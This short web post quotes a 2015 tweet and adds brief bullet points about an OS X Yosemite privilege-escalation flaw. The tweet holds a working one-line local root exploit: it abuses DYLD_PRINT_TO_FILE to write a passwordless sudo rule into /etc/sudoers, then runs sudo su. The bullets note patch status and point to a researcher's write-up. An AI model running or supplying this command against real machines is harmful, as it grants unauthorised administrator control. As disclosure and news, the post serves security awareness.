echo 'echo "`whoami` ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo su - pic.twitter.com/V70xYVIERF
— Mitesh Shah (@MiteshShah05) July 24, 2015- How to bypass Apple’s security and gain administrator-level privileges on an OS X Yosemite Mac using code that fits in above tweet.
- At the moment it is unclear if Apple knows about this security problem or not, because while it is already fixed in the first betas of OS X 10.11, it is left unpatched in the current release of OS X 10.10.4 or in the current beta of OS X 10.10.5.
- More Detailed Information about this exploit is found at Stefan Esser Website